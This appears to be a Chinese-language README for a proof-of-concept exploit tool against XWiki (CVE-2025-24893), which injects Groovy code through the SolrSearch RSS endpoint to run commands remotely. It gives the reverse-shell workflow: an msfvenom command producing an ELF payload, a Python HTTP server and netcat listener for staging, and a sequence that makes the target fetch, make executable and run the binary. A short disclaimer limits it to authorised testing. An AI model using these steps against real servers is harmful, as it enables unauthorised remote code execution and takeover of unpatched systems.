XWiki CVE-2025-24893 概念验证

作者: Net.Doge & Infinit3i

该Python脚本利用CVE-2025-24893漏洞——XWiki因异步渲染Groovy宏时沙箱机制不完善导致的远程代码执行(RCE)漏洞。它通过向基于RSS的SolrSearch端点注入代码，实现任意命令执行。

📌 功能特性

• 通过Groovy注入执行单条命令
• 自动生成反向Shell载荷（配合msfvenom）
• 可自定义选项：
  • 远程目标
  • 本地IP地址
  • HTTP服务器端口
  • 反向Shell信标端口
• 清晰的bash载荷预览
• 带ANSI颜色编码的交互式TUI

🚀 使用方法

1. 克隆或下载脚本。

2. 请确保已安装以下组件：

   • Metasploit中的msfvenom
   • Python 3
   • jq（用于bash载荷）

3. 运行脚本：

python3 CVE-2025-24893-PoC.py

4. 从菜单中选择：

   • 运行命令 – 远程执行任意Shell命令。
   • 反向Shell – 生成ELF反向Shell并将其部署到目标。
   • 更改设置 – 修改LHOST、RHOST、服务器端口或信标端口。

🧪 反向Shell工作流程

1. 生成载荷：

msfvenom -p linux/x64/shell_reverse_tcp LHOST=<your_ip> LPORT=<beacon_port> -f elf -o rev

2. 系统提示您启动Python HTTP服务器和netcat监听器：

python3 -m http.server 8080
nc -lvnp 31337

3. 脚本向目标发送以下序列：

   • 下载载荷
   • 赋予执行权限
   • 执行二进制文件

⚠️ 免责声明

此工具仅用于教育和授权测试目的。在未拥有或未获得明确许可的系统上使用此工具是非法且不道德的。

📄 参考

• XWiki
• MITRE CVE-2025-24893